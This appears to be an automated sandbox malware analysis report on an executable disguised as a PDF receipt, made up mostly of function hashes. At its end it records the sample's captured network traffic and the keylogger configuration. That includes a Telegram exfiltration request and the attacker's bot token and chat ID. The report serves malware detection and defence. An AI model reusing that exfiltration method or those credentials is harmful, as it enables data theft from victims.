Snapshot File: hcaresult_3_2_6db0000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d71086c887ae43a41ccecae44e7bbcd60b7ee6a677bbccac05cff3af7e55263c
Instruction ID: 6ad5c0582979d67f18a5606b2606cbe5a3305a63d48ad872453fcc0de0ca92e6
Opcode Fuzzy Hash: d71086c887ae43a41ccecae44e7bbcd60b7ee6a677bbccac05cff3af7e55263c
Instruction Fuzzy Hash: 86D18B74E002188FDB54DFA5D940B9DBBB2BF89300F1090A9D809AB369DB355D85CF51

Function 06DBD190 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4506837101.0000000006DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6db0000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d05cce95f242fdd1993dd5f72afadc3eb1d5a9723dfe9b15356483283d666c77
Instruction ID: 32709466fef6f7cde6ba9cd204d0ad34cd2a61de8a2dcb671829cac2a97ad7c6
Opcode Fuzzy Hash: d05cce95f242fdd1993dd5f72afadc3eb1d5a9723dfe9b15356483283d666c77
Instruction Fuzzy Hash: 3DD18A74E002188FDB54DFA9D980B9DBBB2FF89300F1090A9D809AB369DB359D85CF55

Function 06DB2D88 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4506837101.0000000006DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6db0000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1cdfab9836885c8194dfff615ae8cb724c72b601de855f4cf259fb2627cc4709
Instruction ID: 398b11bbda944e63191d5d6e1696ea86e456e4234f6540ffe2f003def9a69686
Opcode Fuzzy Hash: 1cdfab9836885c8194dfff615ae8cb724c72b601de855f4cf259fb2627cc4709
Instruction Fuzzy Hash: 5FD19B74E00218CFDB54DFA9D980B9DBBB6BF89300F1090A9D809AB369DB359D85CF51

Function 06DB5FB8 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4506837101.0000000006DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6db0000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1bd6ea9d200d0a70ca9626f43df983803dfe40b5e810364255d67bb01d7110ed
Instruction ID: e4ab8888bfcf83633da76ee4cd8b4d116f50bc9da07028399c2d1e9312afb152
Opcode Fuzzy Hash: 1bd6ea9d200d0a70ca9626f43df983803dfe40b5e810364255d67bb01d7110ed
Instruction Fuzzy Hash: D4D17A74E002188FDB94DFA5D990B9DBBB2BF89300F1090A9D809AB369DB359D85CF51

Function 06DB7FA8 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4506837101.0000000006DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6db0000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f3b6c424ff438616c265982ddf408a64d1f5f8accf1b014a9b849ab7cc420fc
Instruction ID: bdc3ff3e95231d10e805b86f190c492b68fff1f566d193c145d6e251add835d3
Opcode Fuzzy Hash: 9f3b6c424ff438616c265982ddf408a64d1f5f8accf1b014a9b849ab7cc420fc
Instruction Fuzzy Hash: 8ED1AB74E00218CFDB94DFA5D940B9EBBB6BF89300F1090A9D809AB369DB359D85CF50

Function 06DBB1A0 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4506837101.0000000006DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6db0000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df11d37a7f879e717ab441b89bbd6cc7c2d5e3878352fb229be5f22a63a9613d
Instruction ID: 6361c38af22c2decfd87c02b79c909d62d4da049a7d285891419b2c40ecd8baf
Opcode Fuzzy Hash: df11d37a7f879e717ab441b89bbd6cc7c2d5e3878352fb229be5f22a63a9613d
Instruction Fuzzy Hash: 45D18B74E00218CFDB54DFA5D980B9DBBB2BF89300F1090AAD809AB369DB359D85CF55

Function 06DB8D58 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4506837101.0000000006DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6db0000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cda91575d8ab37b29bc08138cdd5c11813c3c28e7317a51e9bd0ca5c26da9001
Instruction ID: 1062c7c926517becafeb6aebf11133c037bce635594e1039b6669a5523d99edc
Opcode Fuzzy Hash: cda91575d8ab37b29bc08138cdd5c11813c3c28e7317a51e9bd0ca5c26da9001
Instruction Fuzzy Hash: 21D19B74E00218CFDB54DFA5D990B9DBBB6BF89300F1090A9D809AB369DB359D85CF50

Function 06DBBF50 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4506837101.0000000006DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6db0000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d2b83f93fc66705fcd5b26b267faa055bb19d9f59bc2af9d4362831457ba965
Instruction ID: 207dfa10a21dbd17fbb1b96eba73def7e98e45d0c0de5d977acdf6512c01f72e
Opcode Fuzzy Hash: 3d2b83f93fc66705fcd5b26b267faa055bb19d9f59bc2af9d4362831457ba965
Instruction Fuzzy Hash: 32D18A74E00218CFDB54DFA9D980B9DBBB2BF89300F1090A9D809AB369DB359D85CF51

Function 06DB4D78 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4506837101.0000000006DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6db0000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf76109909075d65565dea8a3d112ee84ef8bb0b0cb1c9d4fc4a546eefe6815b
Instruction ID: 66212af3763d96f4e390ada52358435738367647cf6f2b53551f945b748b1a70
Opcode Fuzzy Hash: cf76109909075d65565dea8a3d112ee84ef8bb0b0cb1c9d4fc4a546eefe6815b
Instruction Fuzzy Hash: 7BD19B74E00218CFDB54DFA5D990B9DBBB2BF89300F1090A9D809AB369DB359D85CF51

Function 06DB6D68 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4506837101.0000000006DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6db0000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86c9be5f0f0ccb56031c922fb267f99b068b2504e1df4828ff9af09c4562d791
Instruction ID: ac9cf148d6fe9e50725712822694f4b4812b610af6fcf6f357babbe657097b09
Opcode Fuzzy Hash: 86c9be5f0f0ccb56031c922fb267f99b068b2504e1df4828ff9af09c4562d791
Instruction Fuzzy Hash: E2D19A74E00218CFDB54DFA9D990B9DBBB2BF89300F1090A9D809AB369DB359D85CF51

Function 06DB9F60 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4506837101.0000000006DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6db0000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 066a178bddb04a98b6c6144055888f91c133007f8e6dcad380012451950690de
Instruction ID: 6f98fa5921e707b639aa93d5f29cacd4b1f0c3765bf878fe8530d6f499b2bb8b
Opcode Fuzzy Hash: 066a178bddb04a98b6c6144055888f91c133007f8e6dcad380012451950690de
Instruction Fuzzy Hash: BED18A74E002188FDB54DFA9D990B9DBBB2FF89300F1090A9D809AB369DB359D85CF51

Function 06DB7B18 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4506837101.0000000006DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6db0000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f424d2e45da125d316db2825318127b117ee2c3e7f8cc99e17eff3377c2545b
Instruction ID: 60007f4625c4a76cd3b811675970f8016f6c9cb957541be46b9dd6b6fba608bf
Opcode Fuzzy Hash: 0f424d2e45da125d316db2825318127b117ee2c3e7f8cc99e17eff3377c2545b
Instruction Fuzzy Hash: 74D19A74E00218CFDB54DFA5D980B9DBBB2BF89300F1090A9D809AB369DB359D85CF55

Function 06DBAD10 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4506837101.0000000006DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6db0000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 187d9bacc44f847475bbc9aac9c62010096c80e1c1b1eac959343b481af7ec35
Instruction ID: 32146e8cd18e66d1c6ce5515ea567b74a7b0819dcfaa6d67f5c5855380438120
Opcode Fuzzy Hash: 187d9bacc44f847475bbc9aac9c62010096c80e1c1b1eac959343b481af7ec35
Instruction Fuzzy Hash: 11D18974E002188FDB54DFA9D980B9DBBB2FF89300F1090A9D809AB369DB359D85CF51

Function 06DBCD00 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4506837101.0000000006DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6db0000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59bae4bc9e8143515bc2ed8c50e64003d0595c63953a5da5cd141c57042b897c
Instruction ID: 4952516a296ee0f79975a102cca0fe10c9f092c48d47166b37c891d1e6a97613
Opcode Fuzzy Hash: 59bae4bc9e8143515bc2ed8c50e64003d0595c63953a5da5cd141c57042b897c
Instruction Fuzzy Hash: 80D18A74E00218CFDB54DFA5D990B9EBBB2BF89300F1090A9D809AB369DB359D85CF51

Function 06DB3B38 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4506837101.0000000006DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6db0000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4c00d91e6a9bd250b51e92e282fec1bd3c49a35db0865d95714ffef75b13539
Instruction ID: 86699680ee12edb345e2cd800c237871608786c21c590dceb3462a046ccf94e5
Opcode Fuzzy Hash: c4c00d91e6a9bd250b51e92e282fec1bd3c49a35db0865d95714ffef75b13539
Instruction Fuzzy Hash: E8D19B74E00218CFDB54DFA9D990B9DBBB2BF89300F1090A9D809AB369DB359D85CF51

Function 06DB5B28 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4506837101.0000000006DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6db0000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1bd6ea9d200d0a70ca9626f43df983803dfe40b5e810364255d67bb01d7110ed
Instruction ID: 562addc1e6e8435593c2347adcc538477a736954105fc40c9dc821ac61e78b5f
Opcode Fuzzy Hash: 1bd6ea9d200d0a70ca9626f43df983803dfe40b5e810364255d67bb01d7110ed
Instruction Fuzzy Hash: C6D19B74E00218CFDB54DFA5D984B9DBBB2BF89300F1090A9D809AB369DB359D85CF51

Function 06D1E708 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4506530175.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6d10000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bcca4eff53b8a3d125532623a1f7946bce51cea243b9a9cd09ed46365332fec2
Instruction ID: 68bb3e447a691972e733d32a6fa72703ab529e4139c6a5b8fe7b2ed20decb096
Opcode Fuzzy Hash: bcca4eff53b8a3d125532623a1f7946bce51cea243b9a9cd09ed46365332fec2
Instruction Fuzzy Hash: C8C19D74E01218CFDB54DFA5D954B9DBBB2BF88300F1090A9D809AB365DB789E85CF50

Function 06D1E178 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4506530175.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6d10000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: faa413fb27524ce0eaed7e8d775fc6eff5e774405b7cd5befa11b7a26dbb5824
Instruction ID: 0bbb887258ddbcfcc0bd9cff6d264bff12452199770caeb33d542d9388bf82e3
Opcode Fuzzy Hash: faa413fb27524ce0eaed7e8d775fc6eff5e774405b7cd5befa11b7a26dbb5824
Instruction Fuzzy Hash: ACC19E74E00218CFEB54DFA5D944B9DBBB2FF89300F1091A9D809AB265DB789E85CF50

Function 06D1EFB8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4506530175.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6d10000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f802ede04f581546d56d0a6672f143e3276d9cfc4893b2ce3f0fc18c7379200
Instruction ID: 60fdd35e7437d41be6844e21245cae95ece681c2011a650b0e56b880988ba63f
Opcode Fuzzy Hash: 3f802ede04f581546d56d0a6672f143e3276d9cfc4893b2ce3f0fc18c7379200
Instruction Fuzzy Hash: CFC19D74E00218CFDB54DFA5D944B9DBBB2BF88300F2090A9D809AB265DB759E85CF50

Function 06D1EB60 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4506530175.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6d10000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a4aa7c267e437ddaf1cb8350c35b2d851cb540411d96fba81fab22eeb34e5e0
Instruction ID: 05dc6d7312922a49a928f4d43c7271cdb7aa744d62dbdc9120910ced5746009e
Opcode Fuzzy Hash: 4a4aa7c267e437ddaf1cb8350c35b2d851cb540411d96fba81fab22eeb34e5e0
Instruction Fuzzy Hash: C8C18E74E00218CFDB54DFA5D944B9DBBB2BF88300F1090A9D819AB365DB759E85CF50

Function 06D1D470 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4506530175.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6d10000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91a519c8325af9b052cd182a208f8a70f2d8ef734a84d05a4b2aea26e4307e1e
Instruction ID: c39238af438ddebbd8e674559bccc86d67a408a36c67c844d92911e89b76a984
Opcode Fuzzy Hash: 91a519c8325af9b052cd182a208f8a70f2d8ef734a84d05a4b2aea26e4307e1e
Instruction Fuzzy Hash: 25C19E74E00218CFDB54DFA5D984B9DBBB2FF89300F2090A9D809AB265DB359E85CF50

Function 06D1F410 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4506530175.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6d10000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c2efb36b1e48a70ea6f2d71f9306b8b9ff97f0d4619b4ec62b047bdc6febfa4
Instruction ID: 053606f74f1dd3a3d6cf9e451a60454b8e522cefe98abcedd697a4ab8a6668b4
Opcode Fuzzy Hash: 2c2efb36b1e48a70ea6f2d71f9306b8b9ff97f0d4619b4ec62b047bdc6febfa4
Instruction Fuzzy Hash: 53C19D74E00218CFDB54DFA5D944B9DBBB2BF88300F2090A9D809AB365DB799E85CF50

Function 06D1DD20 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4506530175.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6d10000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac02f1d858a88f7297046d934369ffd4560d78c943aebd731faff32caab71b3a
Instruction ID: 51d891a9cf177cde41cbb44385e56a0968d5db60618c9b52041d7a559fa2c956
Opcode Fuzzy Hash: ac02f1d858a88f7297046d934369ffd4560d78c943aebd731faff32caab71b3a
Instruction Fuzzy Hash: 79C18D74E00218CFDB54DFA5D944B9DBBB2BF88300F1090A9D809AB365DB799E85CF50

Function 06D1D8C8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4506530175.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6d10000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4615e88c32b3d71c2969253d67000bea1175d242060ee62ab6509d4f51b8075f
Instruction ID: 818897490ff6c03df559dbf70d1ab63be2658c45659b62028fe7e035b87026af
Opcode Fuzzy Hash: 4615e88c32b3d71c2969253d67000bea1175d242060ee62ab6509d4f51b8075f
Instruction Fuzzy Hash: 4AC19D74E00218CFDB54DFA5D994B9DBBB2BF88300F1090A9D809AB365DB789E85CF50

Function 06DB91E8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4506837101.0000000006DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6db0000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79315830de5c419f01e70331f7a37cf87d7fa03c2e846ad31b713fb21d9ffdb5
Instruction ID: 8e6f190c8c587a75baf257d5abd4bc3419152fb5d67293cd5ed11d5ae9f8e4d7
Opcode Fuzzy Hash: 79315830de5c419f01e70331f7a37cf87d7fa03c2e846ad31b713fb21d9ffdb5
Instruction Fuzzy Hash: 0BC1AE74E00218CFDB54DFA5D954B9DBBB2FF89300F1090A9D819AB265DB349E85CF50

Function 06D10673 Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4506530175.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6d10000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16758432c64ce02b8d226c77bb967d8b1066cb8c5db94ad59447556addd5b1c7
Instruction ID: ef3aa7a7d7a3d5a8cbaf67700a8b82e026ee3bf96a18576b23e893a04f99aef8
Opcode Fuzzy Hash: 16758432c64ce02b8d226c77bb967d8b1066cb8c5db94ad59447556addd5b1c7
Instruction Fuzzy Hash: 00A19D74A01228DFDB64DF64C854BDABBB2BF49300F1085EAD40DA7264DB759E81CF51

Function 06D10853 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4506530175.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6d10000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 503435a6eacbe60e6b7fe29fa33a904be56f1aa04ae0c74868cba079d7553d17
Instruction ID: ad9bf485bb659e99cbc795a6b5a7c58918582255ae668ce9fb729584b00ef7f5
Opcode Fuzzy Hash: 503435a6eacbe60e6b7fe29fa33a904be56f1aa04ae0c74868cba079d7553d17
Instruction Fuzzy Hash: 2A51AD74A01228DFCB64DF24C854BAAB7B2BF4A304F5085EAD40EA7360CB759E81CF51

Function 06DB2AF0 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4506837101.0000000006DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6db0000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 166afed802e84f9571a9d8e1f02ebe5011d601886f0e17a901a152e44ddc09c6
Instruction ID: d25538f11154de84590b11a1810fafdf58f08acaa14c1561903e137785da6e57
Opcode Fuzzy Hash: 166afed802e84f9571a9d8e1f02ebe5011d601886f0e17a901a152e44ddc09c6
Instruction Fuzzy Hash: FF41FFB4D022099FCB04CFA8D494BEEBBF1AF49304F1454A9E455B73A1D7389A41CF94

Function 01476920 Relevance: 5.0, Strings: 4, Instructions: 49COMMON

Download Yara Rule

Strings

\;]q, xrefs: 01476936
\;]q, xrefs: 0147695E
\;]q, xrefs: 01476952
\;]q, xrefs: 0147692C

Memory Dump Source

Source File: 00000003.00000002.4500304474.0000000001470000.00000040.00000800.00020000.00000000.sdmp, Offset: 01470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1470000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: \;]q$\;]q$\;]q$\;]q
API String ID: 0-2351511683
Opcode ID: 08dc99fd951c3cea23dd32f1169c8a3ad2d55fb47a7086ea709ab6fb5d8f6183
Instruction ID: 5deafcdcd1e680ef0b8caeaaa6ab22dfc4e67317fe7316fdfec32e4c41951db4
Opcode Fuzzy Hash: 08dc99fd951c3cea23dd32f1169c8a3ad2d55fb47a7086ea709ab6fb5d8f6183
Instruction Fuzzy Hash: B401DFB1740A048FE7248E2DC5809E63BEBAFC8A60726446BE945DB375DA31DC428790

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:414408%0D%0ADate%20and%20Time:%2015/01/2025%20/%2009:17:21%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20414408%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 193.122.6.168 193.122.6.168

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49710 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49706 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49719 -> 104.21.96.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49709 -> 104.21.96.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49712 -> 104.21.96.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49717 -> 104.21.96.1:443

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: 00000003.00000002.4499590469.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "Telegram", "Token": "7946291525:AAFHJlyjrW7RJiLewU0S0ya89C3MpMemoiQ", "Chat_id": "7727510436", "Version": "4.4"}
Source: 0.2.rDEKONT-1_15_2025__75kb__pdf.exe.49b6238.2.unpack	Malware Configuration Extractor: VIP Keylogger {"Exfil Mode": "Telegram", "Bot Token": "7946291525:AAFHJlyjrW7RJiLewU0S0ya89C3MpMemoiQ", "Chat id": "7727510436"}

Source: rDEKONT-1_15_2025__75kb__pdf.exe	Virustotal: Detection: 27%			Perma Link
